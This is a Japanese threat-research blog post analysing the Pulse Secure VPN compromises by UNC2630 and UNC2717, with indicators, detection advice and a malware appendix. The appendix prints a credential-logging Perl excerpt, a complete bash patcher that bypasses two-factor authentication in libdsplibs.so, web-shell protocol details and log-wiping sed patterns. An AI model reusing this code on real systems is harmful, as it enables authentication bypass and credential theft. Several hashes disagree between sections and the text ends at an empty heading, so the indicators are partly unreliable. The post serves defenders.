ブログ(脅威調査)

Check Your Pulse: 認証バイパス技術とPulse Secureゼロデイを利用したAPTと疑われる攻撃者

要旨

  • Mandiantは最近、Pulse Secure VPNアプライアンスの侵害に関連する複数のセキュリティ・インシデントに対応しました。
  • このブログ記事では、Pulse Secure VPN機器での単一要素認証と多要素認証をバイパスし、アップグレードの影響を受けず、web shellを介してアクセスを維持するための複数の関連技術を検証します。
  • Pulse Secureによる調査は、既知の脆弱性と、2021年4月に発見された以前には不明だった脆弱性の組合せであるCVE-2021-22893が、最初の感染ベクターの原因となっていると判断しました。
  • Pulse Secureの親会社であるIvantiは、これらのマルウェア・ファミリーに関連して悪用された脆弱性の緩和策と、顧客のシステムに影響を与えているかどうかを判断するためのPulse Connect Secure Integrity Toolをリリースしました。2021年5月初めには、脆弱性に対処するための最終パッチが提供される予定です。
  • Pulse Secureは、これらの問題に対処するために、Mandiant、影響を受ける顧客、政府パートナー、および他のフォレンジック・エキスパートと密接に協力してきました。
  • 特定されたバックドアが、企業のネットワークまたはソフトウェア配備プロセスのサプライ・チェーン侵害を通じて導入されたことを示すものではありません。

はじめに

Mandiantは現在、Pulse Secure VPN機器の悪用に関連する12のマルウェア・ファミリーを追跡しています。これらのファミリーは機器認証とバックドア・アクセスの回避に関連していますが、必ずしも相互に関連しているわけではなく、別の調査で観測されています。これらのさまざまなコード・ファミリーの作成と展開には、複数の攻撃者が関係している可能性があります。

このレポートのポイントは、米国防衛産業基盤(DIB)のネットワークに対するUNC2630の活動にありますが、米国および欧州の被害者組織で観測されたすべてのサンプルに対する詳細なマルウェア解析と検知方法が、影響を受けるアプライアンスに関する広範な悪意のある行為の特定によりネットワーク防御者を支援するため、技術付属文書に記載されています。活動の範囲を判別するために分析が進行中です。

Mandiantは引き続き、Ivanti & Pulse Secureチーム、Microsoft Threat Intelligence Center (MSTIC)、および関連する政府機関と協力して脅威を調査し、影響を受けるPulse Secure VPN装置の所有者に対する推奨事項と緩和策を策定します。

その調査の一部として、Ivantiはこのキャンペーンに関連して悪用された脆弱性の緩和策と、システムが影響を受けているかどうかの判断を支援するPulse Connect Secure Integrity Toolをリリースしました。

詳細

Mandiantは今年初めに、世界中の防衛、政府、金融機関における複数侵入を調査しました。各侵入で、攻撃者の活動の最も初期の証拠が影響を受けた環境でのPulse Secure VPNアプライアンスに属するDHCP IP アドレスの範囲にまでさかのぼります。

多くの場合、攻撃者がアプライアンスへの管理者レベルのアクセスを取得した方法を判断することはできませんでした。しかし、Ivantiの分析に基づくと、2019年と2020年には以前に公開されたPulse Secure脆弱性の悪用が原因でいくつかの侵入が発生したと思われますが、その他の侵入はCVE-2021-22893の悪用が原因で発生しています。

私たちは、さまざまなPulse Secure VPNログイン・フローからUNC2630の資格情報収集を観察しました。これにより、最終的に攻撃者は正規アカウント情報を使用して、影響を受けた環境に水平方向に移動することができました。侵害されたネットワークへの持続性を維持するために、攻撃者はVPNアプライアンス上で正当に変更されたPulse Secureバイナリとスクリプトを利用しました。これは、以下を実現するために行われました:

  1. 認証情報を記録し、多要素認証要件を含む認証フローをバイパスするために、悪意のあるコードで共有オブジェクトをトロイの木馬化します。これらのトロイの木馬アセンブリをSLOWPULSEおよびその変種として追跡
  2. 現在追跡しているweb shellを、RADIALPULSEおよびPULSECHECKとして、機器の正規インターネット・アクセス可能なPulse Secure VPNアプライアンス管理Webページに挿入
  3. ファイルシステムを読み取り専用モードと編集可能モードの間で切り替えて、通常は読み取り専用ファイルシステムでファイルを変更
  4. 管理者が実行するVPNアプライアンスの全般的なアップグレードの永続性を維持
  5. 変更されたファイルのパッチを解除し、検知を回避するために使用した後にユーティリティとスクリプトを削除
  6. 攻撃者が定義した正規表現に基づいてTHINBLOODとして追跡されるユーティリティを使用して、関連するログ・ファイルをクリア

2021年3月の別のインシデントにおいて、私たちはヨーロッパの組織内でRADIALPULSE、PULSEJUMP、HARDPULSEを用いてUNC2717を観察しました。UNC2630が米国のDIB企業に対して使用するPULSEJUMPやHARDPULSEは観察しませんでしたが、これらのマルウェア・ファミリーは特性を共有し、UNC2630が使用する他のコード・ファミリーと同様の目的を果たしています。また、他のトロイの木馬化された共有オブジェクトと同様に修正されたOpenSSLライブラリ・ファイルを観察しました。LOCKPICKという名前の変更されたライブラリ・ファイルは、アプライアンスが使用するコミュニケーションの暗号化を弱める可能性がありますが、これを確認するための十分な証拠がないと考えています。

現時点では、コンテキストやフォレンジックの証拠がないため、Mandiantはこのレポートに記載されているすべてのコード・ファミリーをUNC2630またはUNC2717に関連付けることはできません。また、緩やかに関連付けられたAPT攻撃者間で、1つ以上の関連グループがこれらの異なるツールの開発と普及に関わる可能性にも留意します。UNC2630とUNC2717以外の追加グループがこれらのツールの1つ以上を採用していることも考えられます。私たちの理解にはこのようなギャップがありましたが、すべてのコード・ファミリーの詳細な解析、検知技術、軽減策を技術付属文書に含めました。

SLOWPULSE

UNC2630の活動への調査中に、私たちはSLOWPULSEと名付けた、新しいマルウェア・ファミリーを発見しました。このマルウェアとそのバリアントは、正規のPulse Secure共有オブジェクトlibdsplibs.so内に存在する認証フローで認証情報をバイパスまたはログを記録するための正規のPulse Secureファイルへの修正として適用されます。発見された4つの変種のうち3つは、攻撃者が2要素認証のバイパスを可能にします。このセクションでは、これらのバリアントの概要について説明します。詳細については、技術付録を参照してください。

SLOWPULSE Variant 1

UNC2630の活動への調査中に、私たちはSLOWPULSEと名付けた、新しいマルウェア・ファミリーを発見しました。このマルウェアとそのバリアントは、正規のPulse Secure共有オブジェクトlibdsplibs.so内に存在する認証フローで認証情報をバイパスまたはログを記録するための正規のPulse Secureファイルへの修正として適用されます。発見された4つの変種のうち3つは、攻撃者が2要素認証のバイパスを可能にします。このセクションでは、これらのバリアントの概要について説明します。詳細については、技術付録を参照してください。

LDAP認証バイパス

ルーチンDSAuth::LDAPAuthServer::authenticateは、LDAP認証プロシージャを開始します。このバリアントは、バインドルーチンの後にバックドア・パスワードに対するチェックを挿入し、戻り値を条件付きで偽造成功認証にストンプできるようにします。


図1:LDAP認証バイパス

RADIUS2要素認証バイパス

ルーチンDSAuth::RadiusAuthServer::checkUsernamePasswordは、RADIUS-2要素認証認証プロシージャを開始します。このバリアントは、RADIUS認証パケットが認証サーバーから返された後、バックドア・パスワードに対するチェックを挿入します。バックドア・パスワードが攻撃者によって提供されている場合、パケット・タイプと成功した認証ステータス・フラグは、スプーフィング成功認証に上書きされます。


図2: Radius-2要素認証のバイパス

SLOWPULSE Variant 2

ACE2要素認証クレデンシャル・ロギング

このバリアントは、ACE-2要素認証認証プロシージャDSAuth::AceAuthServer::checkUsernamePassword中に使用された認証情報を記録します。認証をバイパスするのではなく、このバリアントによってユーザー名とパスワードが記録され、攻撃者が後から利用できるようになります。


図3:ACE認証クレデンシャル・ログ

SLOWPULSE Variant 3

ACE2要素認証バイパス

このバリアントは、DSAuth::AceAuthServer::checkUsernamePasswordで始まるACE-2要素認証ログオン手順をバイパスする必要があります。認証手順のフローは、バックドア・パスワードが提供されている場合、ユーザー名とパスワードの確認を担当するルーチンをバイパスするように変更されます。この変更によって、攻撃者は認証の成功を偽ることができます。


図4:ACE認証バイパス・バリアント

SLOWPULSE Variant 4

RealmSignin2要素認証バイパス

このバリアントは、Pulse Secure VPNのRealmSignin::runSecondaryAuth手順をバイパスします。挿入されたロジックは、ログイン・プロセスの特定のステップの実行フローを変更して、正常な認証を偽装します。これは、2要素認証バイパスである可能性があると考えています。

図5:RealmSignIn2要素認証認証バイパス

属性

私たちは初期段階において証拠を収集し、アトリビューション・アセスメントを作成しました。UNC2630、UNC2717、そしてこれら12のコード・ファミリーについて、私たちの理解には多くのギャップがありました。しかし、MandiantとIvantiのチームは、ネットワーク防御者が被害を受けたアプライアンスの悪意のある行為をトリアージし、特定を支援するために、この分析を積極的にリリースしています。

Mandiantは、次の点を評価しています。·       UNC2630は、2020年8月から2021年3月まで、SLOWPULSE、RADIALPULSE、THINBLOOD、ATRIUM、PACEMAKER、SLIGHTPULSE、PULSECHECKを持つ米国のDIB企業を対象としていました。

  • UNC2630は中国政府に代わって動作し、APT5と連携していることが疑われます。
  • UNC2717は、2020年10月から2021年3月まで、HARDPULSE,QUIETPULSE,PULSEJUMPを用いてグローバル政府機関を標的としました。
  • 私たちは、UNC2717に関する十分な証拠を持っていないため、公的な支援や既知のAPTグループとの提携の疑いがあるかどうかを判断することができません。
  • LOCKPICKを使用してアフィリエーション・ステートメントを作成するには、十分な情報がありません。
UNC2630

UNC2630のインフラストラクチャ、ツール、ネットワーク上の挙動の組み合わせは一意であるように見え、他のキャンペーンの間、あるいは他の関与の間には観察されていません。このような新しいツールやインフラストラクチャにもかかわらず、Mandiantのアナリストは2014年と2015年にさかのぼる歴史的な侵入と強い類似点を指摘し、中国のエスピオナージ攻撃者APT5がキャンペーンを実施しました。また、UNC2630が中国政府に代わって動作することを示唆する証拠は限られていることを明らかにしました。グループに関連する可能性がある活動の全範囲を判別するために、分析は引き続き進行中です。

UNC2630をAPT5、または他の既存のAPTグループに確実に関連付けることはできませんが、信頼できるサード・パーティが、この活動と、Mandiantが中国のエスピオナージ攻撃者APT5として追跡している過去のキャンペーンに関連している証拠を発見しています。同じ関連付けを行うことはできませんが、サード・パーティのアセスメントは、APT5とその履歴TTPおよびターゲットの理解と一貫性があります。

APT5は、ネットワーク機器を危険にさらし、これらのアプライアンスをサポートする基盤となるソフトウェアを操作することに大きな関心を示しています。また、米国、ヨーロッパ、アジアの防衛・技術企業を常に標的にしてきました。

  • 2014年の早い段階で、MandiantインシデントレスポンスはAPT5が別のテクノロジー・プラットフォームの組み込みオペレーティング・システムのファイルに不正なコード修正を行うことを発見しました。
  • 2015年、APT5は、民間および政府機関のためのサービスと技術を提供する米国の電気通信組織を侵害しました。この侵入中に、攻撃者は会社のネットワーク・ルーターに関連するルーター画像のいくつかをダウンロードし、修正しました。
  • また、この間、APT5は、南アジアの防衛組織から軍事技術に関連するファイルを窃取しました。観測されたファイル名は、主に製品仕様、技術製品に関する電子メール、調達入札と提案、無人航空機(UAV)に関する文書に関心があることを示しています。
  • APT5は、高価値の企業ネットワークを永続的にターゲットとし、長年にわたってネットワークを再侵害することがよくあります。その主な標的は、米国、欧州、アジアに位置する航空宇宙・防衛企業であるようです。第2の標的(主な標的へのアクセスを容易にするために使用される)には、通常、米国に位置するネットワーク・アプライアンス・メーカーやソフトウェア企業が含まれます。

推奨事項

すべてのPulse Secure Connectのお客様は、Pulse Secure緩和の影響を評価し、可能であれば適用する必要があります。お客様組織は、2021年3月31日にリリースされたPulse SecureのIntegrity Assuranceユーティリティの最新バージョンを利用する必要があります。機器でこのIntegrity Assuranceユーティリティに障害が発生した場合、ネットワーク管理者はこのインストラクションに従い、追加のガイダンスについてPulse CSRに問い合わせる必要があります。

お客様組織は、攻撃者に侵害されたユーザーの資格情報がないかどうかを判断するために、利用可能なフォレンジック証拠を調べる必要があります。環境内のすべてのパスワードをリセットし、脆弱性に対する認証にサービス・アカウントを使用できないように設定を確認することを強くお勧めします。

追加の検知、緩和策、関連するMITRE ATT&CK技術は、技術付属文書に含まれています。サンプルハッシュと分析は、防御者がそれぞれの装置が影響を受けたかどうかを迅速に評価できるようにするために含まれています。Yaraルール、Snortルール、ハッシュは、MandiantのGitHubページで公開されています。

検知と緩和

1d3ab04e21cfd40aa8d4300a359a09e3b520d39b1496be1e4bc91ae1f6730ecc

  • HARDPULSEには、攻撃者によってアクセスされる可能性のある埋め込み'recovery'URLhttps://ive-host/dana-na/auth/recover[.]cgi?token=<varies>が含まれています。このサンプルでは、POSTパラメータcheckcodehashidm、およびfilenameを使用します。このURLは、このファイルの正規バージョンにはありません。

7fa71a7f76ef63465cfeacf58217e0b66fc71bc81d37c44380a6f572b8a3ec7a

68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2

d72daafedf41d484f7f9816f7f076a9249a6808f1899649b7daa22c0447bb37b

  • PULSEJUMP、RADIALPULSE AND PACEMAKERは、次のファイルを使用して認証情報を記録します。
    • /tmp/dsactiveuser.statementcounters
    • /tmp/dsstartssh.statementcounters
    • /tmp/dsserver-check.statementcounters

cd09ec795a8f4b6ced003500a44d810f49943514e2f92c81ab96c33e1c0fbd68

  • SLOWPULSEの悪意のある操作は、LDAPを担当する認証サーバーとRADIUS認証を担当する認証サーバーとVPNサーバー間のログ相関を介して検出できます。成功を示す関連VPNログインを持つLDAPまたはRADIUSログのいずれかでの認証の失敗は、フラグを付ける価値がある異常なイベントになります。

a1dcdf62aafc36dd8cf64774dea80d79fb4e24ba2a82adf4d944d9186acd1cc1

  • PULSECHECK web shellを呼び出すと、次のHTTPリクエスト・ヘッダーが送信されます。

Key

Value

REQUEST_METHOD

POST

HTTP_X_KEY

<BackdoorKey>

HTTP_X_CNT

<RC4Key>

HTTP_X_CMD

<RC4Command>

1ab50b77dd9515f6cd9ed07d1d3176ba4627a292dc4a21b16ac9d211353818bd

  • SLOWPULSE VARIANT2は、フォーマット文字列%s:%s\nを使用して、ACEログオン資格情報をa+ (append)モードでファイル/home/perl/PAUS.pmに書き込みます。

68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2

  • PACEMAKERは、filepath/home/bin/memreadで保存されています。
  • コマンドライン・フラグ-t,-m,-sで実行します。
  • PTRACEを使用して被害者プロセスにアタッチし、/proc/でサブファイルを開きます。

88170125598a4fb801102ad56494a773895059ac8550a983fdd2ef429653f079

  • THINBLOOD が以下のファイルを作成します。
    • /home/runtime/logs/log.events.vc1
    • /home/runtime/logs/log.events.vc2
    • /home/runtime/logs/log.access.vc1
    • /home/runtime/logs/log.access.vc2
  • 上記のいずれかのファイルを指定して、mvコマンドでsystem APIを実行します。
    • /home/runtime/logs/log.access.vc0
    • /home/runtime/logs/log.events.vc0
  • 上記の.vc1ファイルのいずれかを指定してrmコマンドを実行します。

133631957d41eed9496ac2774793283ce26f8772de226e7f520d26667b51481a

  • SLIGHTPULSEは、コマンド実行ログとして/tmp/1を使用します。
  • meeting_testjs.cgiへのすべてのPOSTリクエストは疑わしいものです。
  • POSTパラメーター: cert、img、nameは悪意のあるロジックによって使用されています。
  • no-cacheおよびimage/gifnameパラメーター応答を持つエンドポイントへの応答

1741dc0a491fcc8d078220ac9628152668d3370b92a8eae258e34ba28c6473b9

  • THINBLOODの実行
    • log.events.vc0
    • log.access.vc0
    • Log.admin.vc0
  • 使用するSedパターン
    • s/.\x00[^\x00]*<regex_string>[^\x00]*\x09.\x00//g
    • s/\x<hex_char>\x00[^\x00]*<regex_string>[^\x00]*\x09\x<hex_char>\x00//g

06c56bd272b19bf7d7207443693cd1fc774408c4ca56744577b11fee550c23f7

  • このサンプルでは、入力ファイルと出力ファイルを最初と2番目の引数として受け取り、パッチ適用されたバージョンの入力を出力します。コマンドライン引数eまたはEは、4番目の引数として指定する必要があります。コマンドラインの例は以下です。
    • ./patcher input.bin output.bin backdoorkey e

f2b1bd703c3eb05541ff84ec375573cbdc70309ccb82aac04b72db205d718e90

  • このサンプルでは、HTTPクエリ・パラメーターidを使用し、HTTPヘッダー"Cache-Control:no-cache\n"および"Content-type:text/html\n\n"で応答します。

224b7c45cf6fe4547d3ea66a12c30f3cb4c601b0a80744154697094e73dbd450

64c87520565165ac95b74d6450b3ab8379544933dd3e2f2c4dc9b03a3ec570a7

78d7c7c9f800f6824f63a99d935a4ad0112f97953d8c100deb29dae24d7da282

705cda7d1ace8f4adeec5502aa311620b8d6c64046a1aed2ae833e2f2835154f

  • PulseSecureシステムファイルでsedを実行
  • ファイルシステムを書き込み可能として再マウントします。system("/bin/mount-o remount,rw/dev/root/")
  • tar、cp、rmなどの他のシステム・コマンドの予期しない実行

MITRE ATT&CK技術

次のMITRE ATT&CK技術のリストは、UNC2630とUNC2717のライフサイクルを通して観測されたものだけでなく、この報告書で記述されたすべてのマルウェア・サンプルをカバーしています。


  • T1003-OS認証情報のダンプ
  • T1016-システム・ネットワーク設定の検出
  • T1021.001-リモート・デスクトップ・プロトコル
  • T1027-難読化されたファイルまたは情報
  • T1036.005-正当な名前または場所の一致
  • T1048-Exfiltration Over Alternative Protocol
  • T1049-システム・ネットワーク接続の検出
  • T1053-予約タスクとジョブ
  • T1057-プロセス検出
  • T1059-コマンドとスクリプト翻訳
  • T1059.003-Windows Command Shell
  • T1070-ホストでのインジケーターの取り外し
  • T1070.001-Windowsイベント・ログのクリア
  • T1070.004-ファイルの削除
  • T1071.001-Webプロトコル
  • T1082-システム情報の検出
  • T1098-アカウント操作
  • T1105-イングレス・ツール転送
  • T1111-2要素認証傍受
  • T1133-外部リモート・サービス
  • T1134.001アクセス・トークン操作: トークン偽装/窃取
  • T1136-アカウントの作成
  • T1140-Deobfuscate/Decodeファイルまたは情報
  • T1190-公開アプリケーションの悪用
  • T1505.003-web shell
  • T1518-ソフトウェア検出
  • T1554-クライアント・ソフトウェア・バイナリの侵害
  • T1556.004-ネットワーク・デバイス認証
  • T1592.004被害者ホスト情報の収集: クライアント設定
  • T1562衝撃防衛
  • T1569.002-サービス実行
  • T1574ハイジャック実行フロー
  • T1600-弱い暗号化
     


図6:MITRE ATT&CKマップ

技術付属書

SLIGHTPULSE

ファイルmeeting_testjs.cgi(SHA256:133631957d41eed9496ac2774793283ce26f8772de226e7f520d26667b51481a)は、任意のファイル読み取り、書き込み、およびコマンド実行が可能なweb shellです。POSTリクエスト応答をするために、正当なロジックの最後に悪意のあるロジックが挿入されます。このweb shellは、追加のweb shellを配置する責任があり、正当なシステム・コンポーネントを変更するために使用され、その機能により、他の監視されたマルウェア・ファミリーが発生する可能性があると考えています。

悪意のあるロジックは、正当なコードとして予想される一般的なGET要求だけでなく、HTTP POST要求に応答するための分岐条件を挿入します。GET要求が実行された場合でも、正当なロジックが呼び出されます。POSTリクエスト・コマンドを呼び出すかを決定するために存在がチェックされる一連のパラメーターがあります。このロジックは以下のようなものです。

POST params

Invoked Command

cert

writefile

img, name with nonempty value

readfile

img set to empty string "", name

execcmd

anything else

invoke original legitimate logic


図7:web shellがPOSTに応答

すべての受信および送信要求は、base64でエンコードまたはデコードされ、RC4で暗号化および復号化されます。スキームは単純です。データの最初の6文字は、静的RC4キーを付加した一種のナンスとして要求ごとに生成されるランダム・キーです。このナンス+フレーズは一緒にRC4キーとして機能します。フレーズはワイヤー経由では送信されず、ナンスのみが送信されます。このキー全体が、キーの直後に続くペイロード・データの暗号化および復号化に使用されます。回線上のデータの形式は以下の通りです。

アウトバウンド/インバウンド

<6randbytes><encrypted_data>
^-RC4NONCE-^

利用方法

<6randbytes><rc4_phrase><encrypted_data>
^-------RC4 KEY--------^

ReadFile

このコマンドは、imgパラメーターを介してbase64でエンコードされたRC4で暗号化されたファイル名を受け入れ、読み取り用に開きます。ファイルの内容は完全に読み取られ、「Content-type:application/x-download\n」というヘッダーと「Content-Disposition:attachment;filename=tmp\n\n」というフォーム・ヘッダーを持つ、base64でエンコードされたRC4で暗号化されたデータとして攻撃者に返されます。

WriteFile

このコマンドは、certパラメーターを介してbase64でエンコードされたRC4で暗号化されたファイル名を受け入れ、パラメーターmd5を介してbase64でエンコードされたRC4で暗号化されたファイル・データを受け入れます。ファイル名は書き込みモードで開かれ、ファイル・データはファイルが閉じられる前にファイルに書き込まれます。このコマンドの結果は、ヘッダー"Cache-Control:no-cache\n"と"Content-type:text/html\n\n"を使用して攻撃者に返されます。

Execute

このコマンドは、nameパラメーターを介してbase64でエンコードされたRC4で暗号化されたコマンドを受け入れます。悪意のあるロジックはcdコマンドを禁止し、実行されるとError404というテキストで応答します。他のすべてのコマンドは、system APIを介して実行され、出力はファイル/tmp/1にパイプされます。完全なシステム・コマンドは<command> >/tmp/12>&1です。この実行のアウトプットは読み込まれ、攻撃者base64にエンコードされたRC4で暗号化されて返送されます。ヘッダー"Cache-Control:no-cache\n"と"Content-type:image/gif\n\n"が使用されます。このコマンド出力を送り返すと、対応はGIFとして偽装されているように見えます。

RADIALPULSE

SHA256ハッシュd72daafedf41d84f7f9816f7f076a9249a6808f1899649bb7daa22c47bb37bを含むファイルは、PulseSecure Webベースのツールに関連付けられた変更されたPerlスクリプトで、このアプリケーションへのログインに関連付けられたユーザー名、パスワード、および情報がファイル/tmp/dsstartssh.statementcountersに書き込まれます。

これらのログイン資格情報の検索は、対話型ログインまたはweb shellなどの他の手段によって達成される必要があります。永続性は、このPulseSecure Webページを要求するときに継続的に提供される侵害されたコードの追加によって実現されます。

資格情報の窃取に関連するコードの抜粋は、以下の通りです。

my $realmName1 = $signin->getRealmInfo()->{name};     

open(*fd, ">>/tmp/dsstartssh.statementcounters");      

syswrite(*fd, "realm=$realmName1 ", 5000);         

syswrite(*fd, "username=$username ", 5000);        

syswrite(*fd, "password=$password\n", 5000); 

close(*fd);

SLOWPULSE Variant 1

SHA256cd9ec795a8f4b6ced003500a44d810f49943514e2f92c81abc96c33e1c0fbd68のファイルlibdsplibs.soは、PulseSecure VPNサーバーに属するトロイの木馬化されたELF共有オブジェクトです。サンプルは、LDAPおよびRADIUSプロトコルの特定の認証メカニズムをバイパスするように変更されました。このサンプルは、正しいバックドア・キーが渡された場合に認証失敗を暗黙的になかったことにするバックドア・キーをハードコードし、認証が成功したかのようにVPN接続を確立します。バックドア・パスワードが使用されていない場合、認証は通常どおりに失敗します。

複数の場所で、アセンブリは正規関数間のパディング領域に書き込まれます。これらの場所は非常に小さく、約20バイトであるため、悪意のあるロジックは、複数のパディング領域間で無条件にジャンプすることによって、自身をまとめます。アセンブリは、インジェクト・ロジックの前後にすべてのフラグとレジスターをプッシュしてポップするのが一般的なミッド・ファンクション・フックと非常に似た方法で記述されます。この方法でレジスターとフラグを保持することにより、悪意のあるロジックは、必要に応じてパッシブ・オブザーバーとして実行でき、特定の条件でのみ制御フローに影響します。これは、LDAP認証ルーチンとRADIUS認証ルーチンであるDSAuth::LDAPAuthServer::authenticateDSAuth::RadiusAuthServer::checkUsernamePasswordの2つの場所でそれぞれ使用されます。

LDAP認証バイパス

DSAuth::LDAPAuthServer::authenticateの一般的な実行では、正当なアプリケーションはC++オブジェクトDSAuth::LDAPAuthServer::ldapを作成し、ログイン用のユーザー名とパスワードを使用してDSLdapServer::bindに渡します。このバインドの失敗または成功が、LDAPプロトコルの認証の失敗または成功につながります。アプリケーションに挿入された悪意のあるロジックは、ldapオブジェクトの作成直後にDSLdapServer::bindの前に実行をリダイレクトします。実行中のこの時点で、ユーザー名とパスワードはミッド・ファンクション・フッキング技術でメモリから簡単に抽出されます。ミッド・ファンクション・フッキング技術では、サンプルは一時的な保存場所として2つの機能の間でメモリ内のコード・ケーブにコピーされます。その後、悪意のあるロジックは通常のロジックとしてDSLdapServer::bindを呼び出し、失敗または成功のために返却登録EAXを0または1に設定します。その後、確認が実行され、以前に作成された一時パスワード・コピーがハードコードされたバックドア・パスワードと照合されます。この確認が、EAXを1に上書きしてバックドア・ロジック・アクティビティを渡すと、実際に認証が失敗しても、アプリケーションは認証成功の実行パスを強制的に停止します。

RADIUS2要素認証バイパス

IDSAuth::RadiusAuthServer::checkUsernamePasswordを一般的に実行すると、正当なアプリケーションは、RadiusAuthPacket::sendRadiusPacketを介して、ユーザー名とパスワードを含むRADIUS-2要素認証認証パケットを送信します。その後、応答が取得され、DSAuth::RadiusAuthServer::handleResponseルーチンによって解析されます。パケット取得後、パケット・タイプが3であることが確認された後、このパケット・タイプがどのように指定されているかはわかりませんが、これは成功した認証応答のパケット・タイプです。パケット・タイプの確認に成功した場合、サンプルは認証が成功したかどうかを指定するパケットの分野を読み取り、後でこの状況を確認します。挿入された悪意のあるロジックは、DSAuth::RadiusAuthServer::handleResponseの直後に実行をハイジャックします。ここで、RADIUSサーバーに送信されたパスワードがバックドア・パスワードと照合されます。このチェックに合格すると、取得されたパケットがタイプ3であり、認証が成功したことを示す値で悪意のあるロジックによって上書きされます。その後、悪意のあるロジックは、パケット・タイプがチェックされる元の実行フローに再結合します。スプーフィングされた値が書き込まれた場合、実際には認証に失敗しても、アプリケーションは認証成功の実行パスを強制的に停止します。

SLOWPULSE Variant 2

ACE2要素認証資格情報ロギング

また、ACE-2要素認証プロトコル認証中に使用される認証情報を記録するSLOWPULSE(SHA256:1ab50b77d9515f6cd9ed07d1d3176ba4627a292dc4a21b16ac9d211353818bd)の変種も識別しました。

バックドアは、ルーチンDSAuth::AceAuthServer::checkUsernamePasswordに実装されています。ログイン手順の一環として、ユーザー名とパスワードが取得され、マップ・エントリー構造に書き込まれます。バックドアは、このマップ・エントリー構造を取る無条件ジャンプをログオン・ロジックに挿入し、ユーザー名とパスワードの分野を読み取り、フォーマット文字列%s:%s\nを使用して+(追加)モードでファイル/home/perl/PAUS.pmに書き込みます。その後、バックドアは無条件に通常の制御フローに戻って、通常どおりログオン・プロセスを続行します。

SLOWPULSE Variant 3

ACE2要素認証バイパス

SLOWPULSE(SHA256:b1c2368773259fbfeb425e071bb69be58faa7e74b3282138059f511011d3afd9)の別のバリアントを特定しました。このバリアントは、SLOWPULSE VARIANT2に似ていますが、DSAuth::AceAuthServer::checkUsernamePassword内の悪意のあるロジックが存在しますが、このバリアントはログイン資格情報ではなくログオン手順をバイパスします。このルーチンの一般的な実行では、DsSecID_checkLoginを呼び出して、EAXレジスターを1に設定するユーザー名とパスワードを検証します。次に、ルーチンDSAuth::AceAuthServer::handleACEAuthResultはEAXをチェックして、authが成功したかどうかを判断します。悪意のあるロジックは、ユーザー名とパスワードの分野がマップ・エントリーに書き込まれた直後に実行をハイジャックし、パスワードがバックドアのパスワードと一致するかどうかをチェックします。パスワードが一致すると、EAXレジスターは1に上書きされます。これにより、DsSecID_checkLoginが正常に実行された場合と同じ状態にプログラムが配置されますが、SLOWPULSE VARIANT1とは異なり、元の認証ルーチンはまったく呼び出されません。悪意のあるロジックは、DSAuth::AceAuthServer::handleACEAuthResultが通過する前に実行を再結合します。これにより、実際に認証が失敗した場合でも、アプリケーションは認証成功の実行パスを強制的に停止します。

SLOWPULSE Variant 4

RealmSignin2要素認証バイパス

DSAuth::RealmSigninプロセスの2要素認証ステップをバイパスするSLOWPULSEの4番目のバリアントを特定しました。バックドアは関数DSAuth::RealmSignin::runSigninStep内にあります。このルーチンはログイン・プロシージャの複数のステップを担当し、大きなswitchステートメントとして実装されます。switchステートメントのケース11では、通常、ルーチンDSMap::setPrivacyKeyNames、次にDSAuth::RealmSignin::runSecondaryAuthが呼び出されます。このバリアントの悪意のあるロジックは、mov eax,1でDSAuth::RealmSignin::runSecondaryAuthの呼び出しを上書きします。これにより、DSAuth::RealmSignin::runSecondaryAuthが呼び出されることなく、常に成功するかのようにアプリケーション・フローが強制されます。これらのパッチが適用されたファイルは、使用後に攻撃者によってパッチが削除されたため、復元できませんでしたが、patcherとunpatcherの両方のユーティリティを明らかにしました。フィールド内のシステムから回復していないため、このファイルのハッシュは提供されていません。この分析は、回復したpatcherによって実行された変更を再生して実行されました。

SLOWPULSE Variant 2 Patcher

SLOWPULSEファミリーへの調査の一環として、攻撃者が悪意のあるロジックを元のlibdsplibs.soファイルに挿入するために使用したユーティリティを復元することができました。SHA256:c9b323b9747659eac25cec078895d75f016e26a8b5858567c7fb945b7321722cを含むファイルは、SLOWPULSE V2悪意のあるロジックを挿入してACE認証情報を記録します。patcherは、元のバイナリへのパスとパッチ適用された出力ファイルパスの2つのコマンドライン引数を受け入れます。元のバイナリがメモリに読み込まれ、パッチが適用されてから、出力パスに書き込まれます。元のバイナリへのアセンブリ・パッチとオフセットはハードコードされます。

SLOWPULSE Variant 3 Patcher

SLOWPULSEファミリーへの調査の一環として、攻撃者が悪意のあるロジックを元のlibdsplibs.soファイルに挿入するために使用したユーティリティを復元することができました。SHA256:06c56db272b19bf7d7207443693cd1fc774408c4ca56744577b11fee550c23f7を持つファイルは、SLOWPULSE V3悪意のあるロジックを挿入してACEログオン認証プロセスをバイパスします。パッチャは4つの引数を受け入れます。最初の引数は元のバイナリ・パス、2番目はパッチ適用された出力ファイル・パス、3番目はバックドア・バイパス・パスワード、4番目はパッチ適用を指定する文字eです。サンプルは、元のバイナリをメモリに読み込み、SLOWPULSE V3に関連付けられたアセンブリ・パッチと、提供されたバイパス・パスワードを適用してから、出力パスに書き込みます。アセンブリ・パッチ、およびバイパス・パスワードのコピー先を含むすべてのオフセットはハードコードされます。

SLOWPULSE Variant 4 Patcher

SLOWPULSEファミリーへの調査の一環として、悪意のあるロジックを元のlibdsplibs.soファイルに挿入するために使用された攻撃者をユーティリティをリカバリしました。SHA256のファイル: e63ab6f82c711e4ecc8f5b36046eb7ea216f41eb90158165b82a6c90560ea415は、SLOWPULSE V3のパッチの挿入を担当します。適用されたパッチは、DSAuth::RealmSignin::runSecondaryAuthへの1回の呼び出しをmov eax,1で上書きします。このパッチャ・ユーティリティは、Cで作成された可能性の高い以前のパッチ適用とは異なり、単純なbashスクリプトです。

printf '\xB8' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B31))
printf '\x01' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B32))
printf '\x00' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B33))
printf '\x00' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B34))
printf '\x00' | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B35))

SLOWPULSE Variant 4 UnPatcher

